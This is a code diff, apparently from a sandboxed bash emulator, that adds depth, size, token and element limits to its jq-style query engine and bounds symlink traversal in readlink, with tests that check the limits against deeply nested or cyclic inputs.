+            const combinedBytes = utf8ByteLength(l) + utf8ByteLength(r);
+            if (combinedBytes > maxStringLength) {
+              throw new ExecutionLimitError(
+                `string size limit exceeded (${maxStringLength} bytes)`,
+                "string_length",
+              );
+            }
+            return l + r;
+          }
+          if (Array.isArray(l) && Array.isArray(r)) {
+            assertQueryResultCapacity(ctx, l.length, r.length);
+            return [...l, ...r];
+          }
           if (
             l &&
             r &&
@@ -1428,13 +1629,33 @@ function evalBinaryOp(
           return null;
         case "*":
           if (typeof l === "number" && typeof r === "number") return l * r;
-          if (typeof l === "string" && typeof r === "number")
-            return l.repeat(r);
+          if (typeof l === "string" && typeof r === "number") {
+            if (!Number.isFinite(r)) {
+              throw new Error(`invalid string repetition count: ${r}`);
+            }
+            const repeatCount = Math.trunc(r);
+            if (repeatCount < 0) return null;
+            const inputBytes = utf8ByteLength(l);
+            const maxStringLength = ctx.limits.maxStringLength;
+            if (
+              inputBytes > 0 &&
+              repeatCount > Math.floor(maxStringLength / inputBytes)
+            ) {
+              throw new ExecutionLimitError(
+                `string size limit exceeded (${maxStringLength} bytes)`,
+                "string_length",
+              );
+            }
+            return l.repeat(repeatCount);
+          }
           {
             const lObj = asQueryRecord(l);
             const rObj = asQueryRecord(r);
             if (lObj && rObj) {
-              return deepMerge(lObj, rObj);
+              return deepMerge(lObj, rObj, {
+                maxDepth: ctx.limits.maxDepth,
+                visit: () => chargeQueryWork(ctx),
+              });
             }
           }
           return null;
@@ -1855,6 +2076,23 @@ function collectPaths(
   currentPath: (string | number)[],
   paths: (string | number)[][],
 ): void {
+  chargeQueryWork(ctx);
+  if (currentPath.length > ctx.limits.maxDepth) {
+    throw queryLimitError(
+      `query depth limit exceeded (${ctx.limits.maxDepth})`,
+      "recursion",
+    );
+  }
+  const appendPath = (path: (string | number)[]): void => {
+    if (path.length > ctx.limits.maxDepth) {
+      throw queryLimitError(
+        `query depth limit exceeded (${ctx.limits.maxDepth})`,
+        "recursion",
+      );
+    }
+    assertQueryResultCapacity(ctx, paths.length);
+    paths.push(path);
+  };
   // Handle Comma - collect paths for both parts
   if (expr.type === "Comma") {
     const comma = expr as { type: "Comma"; left: AstNode; right: AstNode };
@@ -1866,7 +2104,7 @@ function collectPaths(
   // Try to extract a static path from the AST
   const staticPath = extractPathFromAst(expr);
   if (staticPath !== null) {
-    paths.push([...currentPath, ...staticPath]);
+    appendPath([...currentPath, ...staticPath]);
     return;
   }
 
@@ -1875,11 +2113,13 @@ function collectPaths(
   if (expr.type === "Iterate") {
     if (Array.isArray(value)) {
       for (let i = 0; i < value.length; i++) {
-        paths.push([...currentPath, i]);
+        chargeQueryWork(ctx);
+        appendPath([...currentPath, i]);
       }
     } else if (value && typeof value === "object") {
       for (const key of Object.keys(value)) {
-        paths.push([...currentPath, key]);
+        chargeQueryWork(ctx);
+        appendPath([...currentPath, key]);
       }
     }
     return;
@@ -1887,22 +2127,32 @@ function collectPaths(
 
   // Handle Recurse (..) - recursive descent, returns paths to all values
   if (expr.type === "Recurse") {
-    const walkPaths = (v: QueryValue, path: (string | number)[]) => {
-      paths.push([...currentPath, ...path]);
-      if (v && typeof v === "object") {
-        if (Array.isArray(v)) {
-          for (let i = 0; i < v.length; i++) {
-            walkPaths(v[i], [...path, i]);
-          }
-        } else {
-          // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-          for (const key of Object.keys(v)) {
-            walkPaths((v as Record<string, unknown>)[key], [...path, key]);
-          }
+    const stack: Array<{ value: QueryValue; path: (string | number)[] }> = [
+      { value, path: [] },
+    ];
+    while (stack.length > 0) {
+      const entry = stack.pop();
+      if (!entry) break;
+      chargeQueryWork(ctx);
+      appendPath([...currentPath, ...entry.path]);
+      if (entry.value && typeof entry.value === "object") {
+        const entries = Array.isArray(entry.value)
+          ? entry.value.map((child, index) => [index, child] as const)
+          : Object.keys(entry.value).map(
+              (key) =>
+                [
+                  key,
+                  // @banned-pattern-ignore: Object.keys returns own properties only
+                  (entry.value as Record<string, unknown>)[key],
+                ] as const,
+            );
+        assertQueryResultCapacity(ctx, 0, stack.length + entries.length);
+        for (let i = entries.length - 1; i >= 0; i--) {
+          const [key, child] = entries[i];
+          stack.push({ value: child, path: [...entry.path, key] });
         }
       }
-    };
-    walkPaths(value, []);
+    }
     return;
   }
 
@@ -1921,6 +2171,6 @@ function collectPaths(
   // Fallback: if expression produces results, push current path
   const results = evaluate(value, expr, ctx);
   if (results.length > 0) {
-    paths.push(currentPath);
+    appendPath(currentPath);
   }
 }
diff --git a/packages/just-bash/src/commands/query-engine/json-output.ts b/packages/just-bash/src/commands/query-engine/json-output.ts
new file mode 100644
index 00000000..fc7829bc
--- /dev/null
+++ b/packages/just-bash/src/commands/query-engine/json-output.ts
@@ -0,0 +1,120 @@
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { QueryValue } from "./value-operations.js";
+
+export interface JsonOutputOptions {
+  compact?: boolean;
+  raw?: boolean;
+  sortKeys?: boolean;
+  indent?: number;
+  useTab?: boolean;
+  limitKind?: "output_size" | "string_length";
+}
+
+/** Serialize query values directly into a bounded builder. */
+export function formatJsonValue(
+  value: QueryValue,
+  maxBytes: number,
+  options: JsonOutputOptions = {},
+): string {
+  const output = new BoundedStringBuilder(
+    maxBytes,
+    "query JSON output",
+    () =>
+      new ExecutionLimitError(
+        `output size limit exceeded (${maxBytes} bytes)`,
+        options.limitKind ?? "output_size",
+      ),
+  );
+  appendJsonValue(output, value, options, 0);
+  return output.build();
+}
+
+function appendJsonValue(
+  output: BoundedStringBuilder,
+  value: QueryValue,
+  options: JsonOutputOptions,
+  depth: number,
+): void {
+  if (value === null || value === undefined) {
+    output.append("null");
+    return;
+  }
+  if (typeof value === "boolean") {
+    output.append(String(value));
+    return;
+  }
+  if (typeof value === "number") {
+    output.append(Number.isFinite(value) ? String(value) : "null");
+    return;
+  }
+  if (typeof value === "string") {
+    if (options.raw && depth === 0) output.append(value);
+    else appendJsonString(output, value);
+    return;
+  }
+
+  const compact = options.compact ?? false;
+  const indentWidth = options.indent ?? 2;
+  const indentUnit = options.useTab ? "\t" : " ".repeat(indentWidth);
+  if (Array.isArray(value)) {
+    output.append("[");
+    for (let index = 0; index < value.length; index++) {
+      output.append(
+        compact ? (index === 0 ? "" : ",") : index === 0 ? "\n" : ",\n",
+      );
+      if (!compact) output.repeat(indentUnit, depth + 1);
+      appendJsonValue(output, value[index], options, depth + 1);
+    }
+    if (!compact && value.length > 0) {
+      output.append("\n").repeat(indentUnit, depth);
+    }
+    output.append("]");
+    return;
+  }
+
+  let keys = Object.keys(value as object);
+  if (options.sortKeys) keys = keys.sort();
+  output.append("{");
+  for (let index = 0; index < keys.length; index++) {
+    const key = keys[index];
+    output.append(
+      compact ? (index === 0 ? "" : ",") : index === 0 ? "\n" : ",\n",
+    );
+    if (!compact) output.repeat(indentUnit, depth + 1);
+    appendJsonString(output, key);
+    output.append(compact ? ":" : ": ");
+    appendJsonValue(
+      output,
+      // @banned-pattern-ignore: Object.keys returns own properties only.
+      (value as Record<string, QueryValue>)[key],
+      options,
+      depth + 1,
+    );
+  }
+  if (!compact && keys.length > 0) {
+    output.append("\n").repeat(indentUnit, depth);
+  }
+  output.append("}");
+}
+
+function appendJsonString(output: BoundedStringBuilder, value: string): void {
+  output.append('"');
+  let start = 0;
+  for (let index = 0; index < value.length; index++) {
+    const code = value.charCodeAt(index);
+    let escaped = "";
+    if (code === 34) escaped = '\\"';
+    else if (code === 92) escaped = "\\\\";
+    else if (code === 8) escaped = "\\b";
+    else if (code === 9) escaped = "\\t";
+    else if (code === 10) escaped = "\\n";
+    else if (code === 12) escaped = "\\f";
+    else if (code === 13) escaped = "\\r";
+    else if (code < 32) escaped = `\\u${code.toString(16).padStart(4, "0")}`;
+    if (!escaped) continue;
+    output.append(value.slice(start, index)).append(escaped);
+    start = index + 1;
+  }
+  output.append(value.slice(start)).append('"');
+}
diff --git a/packages/just-bash/src/commands/query-engine/parser.security.test.ts b/packages/just-bash/src/commands/query-engine/parser.security.test.ts
new file mode 100644
index 00000000..750a6a57
--- /dev/null
+++ b/packages/just-bash/src/commands/query-engine/parser.security.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from "vitest";
+import { parse } from "./parser.js";
+
+describe("query parser limits", () => {
+  it("rejects nested expressions at the configured depth", () => {
+    const filter = `${"(".repeat(40)}.${")".repeat(40)}`;
+    expect(() => parse(filter, { maxDepth: 16 })).toThrow(
+      "query parse depth limit exceeded (16)",
+    );
+  });
+
+  it("handles unary operators iteratively and applies the depth limit", () => {
+    expect(() => parse(`${"-".repeat(1_000)}1`, { maxDepth: 32 })).toThrow(
+      "query parse depth limit exceeded (32)",
+    );
+  });
+
+  it("rejects source and token budgets before tokenization", () => {
+    expect(() => parse(". | . | .", { maxSourceLength: 4 })).toThrow(
+      /source length limit exceeded/,
+    );
+    expect(() => parse(". | . | .", { maxTokens: 5 })).toThrow(
+      /token limit exceeded/,
+    );
+  });
+
+  it("counts nested object values against the parser depth budget", () => {
+    const nested = `${"{a:".repeat(17)}0${"}".repeat(17)}`;
+    expect(() => parse(nested, { maxDepth: 16 })).toThrow(
+      "query parse depth limit exceeded (16)",
+    );
+
+    const boundary = `${"{a:".repeat(15)}0${"}".repeat(15)}`;
+    expect(() => parse(boundary, { maxDepth: 16 })).not.toThrow();
+  });
+
+  it("counts recursive try and update grammar paths", () => {
+    expect(() => parse(`${"try ".repeat(40)}.`, { maxDepth: 16 })).toThrow(
+      "query parse depth limit exceeded (16)",
+    );
+    expect(() => parse(`${". = ".repeat(40)}.`, { maxDepth: 16 })).toThrow(
+      "query parse depth limit exceeded (16)",
+    );
+
+    expect(() => parse("try try . catch .", { maxDepth: 16 })).not.toThrow();
+    expect(() => parse(".a = .b = 1", { maxDepth: 16 })).not.toThrow();
+  });
+});
diff --git a/packages/just-bash/src/commands/query-engine/parser.ts b/packages/just-bash/src/commands/query-engine/parser.ts
index 0d36057c..d64fd72f 100644
--- a/packages/just-bash/src/commands/query-engine/parser.ts
+++ b/packages/just-bash/src/commands/query-engine/parser.ts
@@ -376,9 +376,15 @@ function tokenize(input: string): Token[] {
 class Parser {
   private tokens: Token[];
   private pos = 0;
+  private depth: number;
 
-  constructor(tokens: Token[]) {
+  constructor(
+    tokens: Token[],
+    private readonly maxDepth: number,
+    initialDepth = 0,
+  ) {
     this.tokens = tokens;
+    this.depth = initialDepth;
   }
 
   private peek(offset = 0): Token {
@@ -411,6 +417,19 @@ class Parser {
     return this.advance();
   }
 
+  private withDepth<T>(parseNested: () => T): T {
+    this.depth++;
+    if (this.depth > this.maxDepth) {
+      this.depth--;
+      throw new Error(`query parse depth limit exceeded (${this.maxDepth})`);
+    }
+    try {
+      return parseNested();
+    } finally {
+      this.depth--;
+    }
+  }
+
   private isFieldNameAfterDot(dotOffset = 0): boolean {
     const dot = this.peek(dotOffset);
     const next = this.peek(dotOffset + 1);
@@ -451,7 +470,16 @@ class Parser {
   }
 
   private parseExpr(): AstNode {
-    return this.parsePipe();
+    this.depth++;
+    if (this.depth > this.maxDepth) {
+      this.depth--;
+      throw new Error(`query parse depth limit exceeded (${this.maxDepth})`);
+    }
+    try {
+      return this.parsePipe();
+    } finally {
+      this.depth--;
+    }
   }
 
   /**
@@ -463,6 +491,19 @@ class Parser {
    *   {$a, ...}         - shorthand object destructuring (key same as var name)
    */
   private parsePattern(): DestructurePattern {
+    this.depth++;
+    if (this.depth > this.maxDepth) {
+      this.depth--;
+      throw new Error(`query parse depth limit exceeded (${this.maxDepth})`);
+    }
+    try {
+      return this.parsePatternInner();
+    } finally {
+      this.depth--;
+    }
+  }
+
+  private parsePatternInner(): DestructurePattern {
     // Array pattern: [$a, $b, ...]
     if (this.match("LBRACKET")) {
       const elements: DestructurePattern[] = [];
@@ -636,7 +677,7 @@ class Parser {
       "UPDATE_PIPE",
     );
     if (tok) {
-      const value = this.parseVarBind();
+      const value = this.withDepth(() => this.parseVarBind());
       const op = opMap.get(tok.type);
       if (op) {
         return { type: "UpdateOp", op, path: left, value };
@@ -734,11 +775,18 @@ class Parser {
   }
 
   private parseUnary(): AstNode {
-    if (this.match("MINUS")) {
-      const operand = this.parseUnary();
-      return { type: "UnaryOp", op: "-", operand };
+    let unaryCount = 0;
+    while (this.match("MINUS")) {
+      unaryCount++;
+      if (this.depth + unaryCount > this.maxDepth) {
+        throw new Error(`query parse depth limit exceeded (${this.maxDepth})`);
+      }
     }
-    return this.parsePostfix();
+    let operand = this.parsePostfix();
+    while (unaryCount-- > 0) {
+      operand = { type: "UnaryOp", op: "-", operand };
+    }
+    return operand;
   }
 
   private parsePostfix(): AstNode {
@@ -872,10 +920,10 @@ class Parser {
 
     // try-catch
     if (this.match("TRY")) {
-      const body = this.parsePostfix();
+      const body = this.withDepth(() => this.parsePostfix());
       let catchExpr: AstNode | undefined;
       if (this.match("CATCH")) {
-        catchExpr = this.parsePostfix();
+        catchExpr = this.withDepth(() => this.parsePostfix());
       }
       return { type: "Try", body, catch: catchExpr };
     }
@@ -1034,6 +1082,19 @@ class Parser {
   }
 
   private parseObjectConstruction(): ObjectNode {
+    this.depth++;
+    if (this.depth > this.maxDepth) {
+      this.depth--;
+      throw new Error(`query parse depth limit exceeded (${this.maxDepth})`);
+    }
+    try {
+      return this.parseObjectConstructionInner();
+    } finally {
+      this.depth--;
+    }
+  }
+
+  private parseObjectConstructionInner(): ObjectNode {
     const entries: ObjectNode["entries"] = [];
 
     if (!this.check("RBRACE")) {
@@ -1152,7 +1213,7 @@ class Parser {
           i++;
         }
         const tokens = tokenize(exprStr);
-        const parser = new Parser(tokens);
+        const parser = new Parser(tokens, this.maxDepth, this.depth);
         parts.push(parser.parse());
       } else {
         current += str[i];
@@ -1172,8 +1233,27 @@ class Parser {
 // Convenience function
 // ============================================================================
 
-export function parse(input: string): AstNode {
+export interface QueryParseLimits {
+  maxDepth?: number;
+  maxTokens?: number;
+  maxSourceLength?: number;
+}
+
+export function parse(input: string, limits: QueryParseLimits = {}): AstNode {
+  const maxDepth = limits.maxDepth ?? 256;
+  const maxTokens = limits.maxTokens ?? 100_000;
+  const maxSourceLength = limits.maxSourceLength ?? 1_048_576;
+  if (input.length > maxSourceLength) {
+    throw new Error(
+      `query source length limit exceeded (${maxSourceLength} characters)`,
+    );
+  }
+  // A token needs at least one source character. Enforcing this before
+  // tokenization bounds the token array prospectively as well.
+  if (input.length + 1 > maxTokens) {
+    throw new Error(`query token limit exceeded (${maxTokens})`);
+  }
   const tokens = tokenize(input);
-  const parser = new Parser(tokens);
+  const parser = new Parser(tokens, maxDepth);
   return parser.parse();
 }
diff --git a/packages/just-bash/src/commands/query-engine/safe-object.sanitize-parsed-data.test.ts b/packages/just-bash/src/commands/query-engine/safe-object.sanitize-parsed-data.test.ts
index 824cd465..47eaa66f 100644
--- a/packages/just-bash/src/commands/query-engine/safe-object.sanitize-parsed-data.test.ts
+++ b/packages/just-bash/src/commands/query-engine/safe-object.sanitize-parsed-data.test.ts
@@ -56,4 +56,28 @@ describe("sanitizeParsedData", () => {
     expect(result.left).toBe(result.right);
     expect(Object.getPrototypeOf(result.left)).toBe(null);
   });
+
+  it("iteratively rejects malicious pre-parsed data above the depth limit", () => {
+    const root: unknown[] = [];
+    let cursor = root;
+    for (let depth = 0; depth < 20; depth++) {
+      const child: unknown[] = [];
+      cursor.push(child);
+      cursor = child;
+    }
+
+    expect(() => sanitizeParsedData(root, { maxDepth: 19 })).toThrow(
+      "query depth limit exceeded (19)",
+    );
+    expect(() => sanitizeParsedData(root, { maxDepth: 20 })).not.toThrow();
+  });
+
+  it("charges aggregate array and object members before cloning", () => {
+    expect(() =>
+      sanitizeParsedData({ a: [1, 2, 3] }, { maxElements: 3 }),
+    ).toThrow("query input element limit exceeded (3)");
+    expect(() =>
+      sanitizeParsedData({ a: [1, 2, 3] }, { maxElements: 4 }),
+    ).not.toThrow();
+  });
 });
diff --git a/packages/just-bash/src/commands/query-engine/safe-object.ts b/packages/just-bash/src/commands/query-engine/safe-object.ts
index 832284e7..f218ad37 100644
--- a/packages/just-bash/src/commands/query-engine/safe-object.ts
+++ b/packages/just-bash/src/commands/query-engine/safe-object.ts
@@ -5,6 +5,7 @@
  * These utilities prevent malicious JSON from accessing or modifying
  * the JavaScript prototype chain via keys like "__proto__", "constructor", etc.
  */
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 
 /**
  * Keys that could be used to access or pollute the prototype chain.
@@ -165,40 +166,115 @@ export function safeHasOwn(obj: object, key: string): boolean {
  * All keys (including __proto__, constructor) are preserved as own properties —
  * the defense is null-prototype, not key filtering.
  */
-export function sanitizeParsedData(value: unknown): unknown {
+export interface SanitizeParsedDataLimits {
+  maxDepth?: number;
+  maxElements?: number;
+  /** Optional shared counter for aggregate accounting across documents. */
+  elementBudget?: { used: number };
+}
+
+export function sanitizeParsedData(
+  value: unknown,
+  limits: SanitizeParsedDataLimits = {},
+): unknown {
+  const maxDepth = limits.maxDepth ?? 2000;
+  const maxElements = limits.maxElements ?? 1_000_000;
   const seen = new WeakMap<object, unknown>();
+  const elementBudget = limits.elementBudget ?? { used: 0 };
+  if (
+    !Number.isSafeInteger(elementBudget.used) ||
+    elementBudget.used < 0 ||
+    elementBudget.used > maxElements
+  ) {
+    throw new ExecutionLimitError(
+      `query input element limit exceeded (${maxElements})`,
+      "array_elements",
+    );
+  }
 
-  const sanitize = (current: unknown): unknown => {
-    if (current === null || typeof current !== "object") return current;
+  const assertElement = (): void => {
+    if (++elementBudget.used > maxElements) {
+      throw new ExecutionLimitError(
+        `query input element limit exceeded (${maxElements})`,
+        "array_elements",
+      );
+    }
+  };
 
-    // Preserve Date objects (e.g. TOML datetimes) — they have no own keys
-    // and destroying them would break datetime roundtripping.
+  const createValue = (
+    current: unknown,
+    depth: number,
+    pending: Array<{
+      source: object;
+      target: unknown[] | Record<string, unknown>;
+      depth: number;
+    }>,
+  ): unknown => {
+    if (current === null || typeof current !== "object") return current;
     if (current instanceof Date) return current;
 
     const cached = seen.get(current);
-    if (cached !== undefined) {
-      return cached;
+    if (cached !== undefined) return cached;
+    if (depth > maxDepth) {
+      throw new ExecutionLimitError(
+        `query depth limit exceeded (${maxDepth})`,
+        "recursion",
+      );
     }
 
-    if (Array.isArray(current)) {
-      const sanitizedArray: unknown[] = [];
-      seen.set(current, sanitizedArray);
-      for (const item of current) {
-        sanitizedArray.push(sanitize(item));
+    const target: unknown[] | Record<string, unknown> = Array.isArray(current)
+      ? []
+      : Object.create(null);
+    seen.set(current, target);
+    pending.push({ source: current, target, depth });
+    return target;
+  };
+
+  const pending: Array<{
+    source: object;
+    target: unknown[] | Record<string, unknown>;
+    depth: number;
+  }> = [];
+  const root = createValue(value, 0, pending);
+
+  while (pending.length > 0) {
+    const entry = pending.pop();
+    if (!entry) break;
+    const { source, target, depth } = entry;
+    if (Array.isArray(source) && Array.isArray(target)) {
+      if (source.length > maxElements - elementBudget.used) {
+        throw new ExecutionLimitError(
+          `query input element limit exceeded (${maxElements})`,
+          "array_elements",
+        );
+      }
+      target.length = source.length;
+      for (let index = source.length - 1; index >= 0; index--) {
+        assertElement();
+        target[index] = createValue(source[index], depth + 1, pending);
       }
-      return sanitizedArray;
+      continue;
     }
 
-    const result: Record<string, unknown> = Object.create(null);
-    seen.set(current, result);
-    // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-    for (const key of Object.keys(current as Record<string, unknown>)) {
-      result[key] = sanitize((current as Record<string, unknown>)[key]);
+    const sourceRecord = source as Record<string, unknown>;
+    const targetRecord = target as Record<string, unknown>;
+    const keys = Object.keys(sourceRecord);
+    if (keys.length > maxElements - elementBudget.used) {
+      throw new ExecutionLimitError(
+        `query input element limit exceeded (${maxElements})`,
+        "array_elements",
+      );
     }
-    return result;
-  };
+    // Assign in source order so JSON/object insertion order is preserved. The
+    // child frames may be processed LIFO without changing key order.
+    for (let index = 0; index < keys.length; index++) {
+      assertElement();
+      const key = keys[index];
+      targetRecord[key] = createValue(sourceRecord[key], depth + 1, pending);
+    }
+  }
 
-  return sanitize(value);
+  return root;
 }
 
 /**
diff --git a/packages/just-bash/src/commands/query-engine/value-operations.depth.test.ts b/packages/just-bash/src/commands/query-engine/value-operations.depth.test.ts
new file mode 100644
index 00000000..859bce6c
--- /dev/null
+++ b/packages/just-bash/src/commands/query-engine/value-operations.depth.test.ts
@@ -0,0 +1,64 @@
+import { describe, expect, it } from "vitest";
+import { deepMerge, getValueDepth } from "./value-operations.js";
+
+describe("getValueDepth", () => {
+  it("does not mistake shared subgraphs for cycles", () => {
+    const shared = ["a", "b"];
+    expect(getValueDepth([shared, shared], 16)).toBe(2);
+  });
+
+  it("examines deep non-first object and array branches", () => {
+    expect(getValueDepth({ first: 1, second: { a: { b: {} } } })).toBe(4);
+    expect(getValueDepth([0, [1, [[2]]]])).toBe(4);
+  });
+
+  it("handles deep input iteratively and exits at the configured limit", () => {
+    let value: unknown = null;
+    for (let i = 0; i < 10_000; i++) value = [value];
+    expect(getValueDepth(value, 128)).toBe(128);
+  });
+
+  it("fails closed on cyclic graphs", () => {
+    const value: { self?: unknown } = {};
+    value.self = value;
+    expect(getValueDepth(value, 16)).toBe(16);
+  });
+
+  it("does not inspect containers beyond the depth limit", () => {
+    let accesses = 0;
+    const child = Object.create(null) as Record<string, unknown>;
+    Object.defineProperty(child, "expensive", {
+      enumerable: true,
+      get() {
+        accesses++;
+        return {};
+      },
+    });
+    expect(getValueDepth({ child }, 2)).toBe(2);
+    expect(accesses).toBe(0);
+  });
+});
+
+describe("deepMerge", () => {
+  it("uses an iterative depth budget for matching nested objects", () => {
+    const left = { a: { a: { a: { left: true } } } };
+    const right = { a: { a: { a: { right: true } } } };
+
+    expect(() => deepMerge(left, right, { maxDepth: 2 })).toThrow(
+      "query depth limit exceeded (2)",
+    );
+    expect(deepMerge(left, right, { maxDepth: 3 })).toEqual({
+      a: { a: { a: { left: true, right: true } } },
+    });
+  });
+
+  it("rejects cyclic object pairs without exhausting the host stack", () => {
+    const left: Record<string, unknown> = {};
+    const right: Record<string, unknown> = {};
+    left.self = left;
+    right.self = right;
+    expect(() => deepMerge(left, right, { maxDepth: 8 })).toThrow(
+      "query depth limit exceeded (8)",
+    );
+  });
+});
diff --git a/packages/just-bash/src/commands/query-engine/value-operations.ts b/packages/just-bash/src/commands/query-engine/value-operations.ts
index ab59c9b3..198a19c3 100644
--- a/packages/just-bash/src/commands/query-engine/value-operations.ts
+++ b/packages/just-bash/src/commands/query-engine/value-operations.ts
@@ -4,6 +4,7 @@
  * Utility functions for working with jq/query values.
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import {
   asQueryRecord,
   isSafeKey,
@@ -48,47 +49,132 @@ export function compare(a: QueryValue, b: QueryValue): number {
 export function deepMerge(
   a: Record<string, unknown>,
   b: Record<string, unknown>,
+  options: { maxDepth?: number; visit?: () => void } = {},
 ): Record<string, unknown> {
-  const result = nullPrototypeCopy(a);
-  for (const key of Object.keys(b)) {
-    // Skip dangerous keys to prevent prototype pollution
-    if (!isSafeKey(key)) continue;
-
-    const resultRec = safeHasOwn(result, key)
-      ? asQueryRecord(result[key])
-      : null;
-    const bRec = asQueryRecord(b[key]);
-    if (resultRec && bRec) {
-      safeSet(result, key, deepMerge(resultRec, bRec));
-    } else {
-      safeSet(result, key, b[key]);
+  const maxDepth = options.maxDepth ?? 2000;
+  const root = nullPrototypeCopy(a);
+  const stack: Array<{
+    target: Record<string, unknown>;
+    source: Record<string, unknown>;
+    depth: number;
+  }> = [{ target: root, source: b, depth: 0 }];
+
+  while (stack.length > 0) {
+    const frame = stack.pop();
+    if (!frame) break;
+    if (frame.depth > maxDepth) {
+      throw new ExecutionLimitError(
+        `query depth limit exceeded (${maxDepth})`,
+        "recursion",
+      );
+    }
+    for (const key of Object.keys(frame.source)) {
+      options.visit?.();
+      if (!isSafeKey(key)) continue;
+
+      const targetRec = safeHasOwn(frame.target, key)
+        ? asQueryRecord(frame.target[key])
+        : null;
+      const sourceRec = asQueryRecord(frame.source[key]);
+      if (targetRec && sourceRec) {
+        const child = nullPrototypeCopy(targetRec);
+        safeSet(frame.target, key, child);
+        stack.push({
+          target: child,
+          source: sourceRec,
+          depth: frame.depth + 1,
+        });
+      } else {
+        safeSet(frame.target, key, frame.source[key]);
+      }
     }
   }
-  return result;
+  return root;
 }
 
 /**
  * Calculate the nesting depth of a value (array or object).
  */
 export function getValueDepth(value: QueryValue, maxCheck = 3000): number {
-  let depth = 0;
-  let current: QueryValue = value;
-  while (depth < maxCheck) {
-    if (Array.isArray(current)) {
-      if (current.length === 0) return depth + 1;
-      current = current[0];
-      depth++;
-    } else if (current !== null && typeof current === "object") {
-      const keys = Object.keys(current);
-      if (keys.length === 0) return depth + 1;
-      // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-      current = (current as Record<string, unknown>)[keys[0]];
-      depth++;
+  if (value === null || typeof value !== "object") return 0;
+  if (maxCheck <= 1) return maxCheck;
+
+  interface DepthFrame {
+    value: QueryValue[] | Record<string, QueryValue>;
+    keys?: string[];
+    nextChild: number;
+    pathDepth: number;
+    maxChildDepth: number;
+  }
+
+  const createFrame = (
+    current: QueryValue[] | Record<string, QueryValue>,
+    pathDepth: number,
+  ): DepthFrame => ({
+    value: current,
+    keys: Array.isArray(current) ? undefined : Object.keys(current),
+    nextChild: 0,
+    pathDepth,
+    maxChildDepth: 0,
+  });
+  const childCount = (frame: DepthFrame): number =>
+    frame.keys !== undefined
+      ? frame.keys.length
+      : (frame.value as QueryValue[]).length;
+  const nextChild = (frame: DepthFrame): QueryValue => {
+    if (frame.keys) {
+      const key = frame.keys[frame.nextChild++];
+      // @banned-pattern-ignore: key came from Object.keys(frame.value), so it is an own property
+      return (frame.value as Record<string, QueryValue>)[key];
+    }
+    return (frame.value as QueryValue[])[frame.nextChild++];
+  };
+
+  // A global "seen" set mistakes ordinary sharing (such as `[input, input]`)
+  // for a cycle. Track the active DFS path and memoize completed subgraphs so
+  // valid DAGs retain their real depth while actual cycles still fail closed.
+  const state = new WeakMap<object, "visiting" | "done">();
+  const depths = new WeakMap<object, number>();
+  const root = value as QueryValue[] | Record<string, QueryValue>;
+  const stack: DepthFrame[] = [createFrame(root, 1)];
+  state.set(root, "visiting");
+
+  while (stack.length > 0) {
+    const frame = stack[stack.length - 1];
+    if (frame.nextChild < childCount(frame)) {
+      const child = nextChild(frame);
+      if (child === null || typeof child !== "object") continue;
+
+      const childState = state.get(child);
+      if (childState === "visiting") return maxCheck;
+      if (childState === "done") {
+        const childDepth = depths.get(child) ?? 0;
+        if (frame.pathDepth + childDepth >= maxCheck) return maxCheck;
+        frame.maxChildDepth = Math.max(frame.maxChildDepth, childDepth);
+        continue;
+      }
+
+      const childPathDepth = frame.pathDepth + 1;
+      if (childPathDepth >= maxCheck) return maxCheck;
+      const childContainer = child as QueryValue[] | Record<string, QueryValue>;
+      state.set(child, "visiting");
+      stack.push(createFrame(childContainer, childPathDepth));
+      continue;
+    }
+
+    const depth = frame.maxChildDepth + 1;
+    depths.set(frame.value, depth);
+    state.set(frame.value, "done");
+    stack.pop();
+    const parent = stack.at(-1);
+    if (parent) {
+      parent.maxChildDepth = Math.max(parent.maxChildDepth, depth);
     } else {
       return depth;
     }
   }
-  return depth;
+
+  return 0;
 }
 
 /**
diff --git a/packages/just-bash/src/commands/readlink/readlink.test.ts b/packages/just-bash/src/commands/readlink/readlink.test.ts
index c03902e0..14d02510 100644
--- a/packages/just-bash/src/commands/readlink/readlink.test.ts
+++ b/packages/just-bash/src/commands/readlink/readlink.test.ts
@@ -80,6 +80,16 @@ describe("readlink", () => {
       expect(result.stdout).toBe("/tmp/nonexistent\n");
       expect(result.exitCode).toBe(0);
     });
+
+    it("bounds aggregate symlink traversal", async () => {
+      const env = new Bash({ executionLimits: { maxTraversalWork: 2 } });
+      await env.exec("ln -s /tmp/two /tmp/one");
+      await env.exec("ln -s /tmp/three /tmp/two");
+      await env.exec("ln -s /tmp/four /tmp/three");
+      const result = await env.exec("readlink -f /tmp/one");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("symlink traversal limit exceeded");
+    });
   });
 
   describe("error handling", () => {
diff --git a/packages/just-bash/src/commands/readlink/readlink.ts b/packages/just-bash/src/commands/readlink/readlink.ts
index 08f2c069..e22d3040 100644
--- a/packages/just-bash/src/commands/readlink/readlink.ts
+++ b/packages/just-bash/src/commands/readlink/readlink.ts
@@ -1,4 +1,13 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { FileTraversalBudget } from "../../fs/traversal.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const readlinkHelp = {
@@ -11,10 +20,13 @@ const readlinkHelp = {
   ],
 };
 
-export const readlinkCommand: Command = {
+export const readlinkCommand: RuntimeCommand = {
   name: "readlink",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(readlinkHelp);
     }
@@ -44,6 +56,13 @@ export const readlinkCommand: Command = {
 
     let stdout = "";
     let anyError = false;
+    const budget = new FileTraversalBudget({
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "readlink",
+      label: "symlink traversal",
+    });
 
     for (const file of files) {
       const filePath = ctx.fs.resolvePath(ctx.cwd, file);
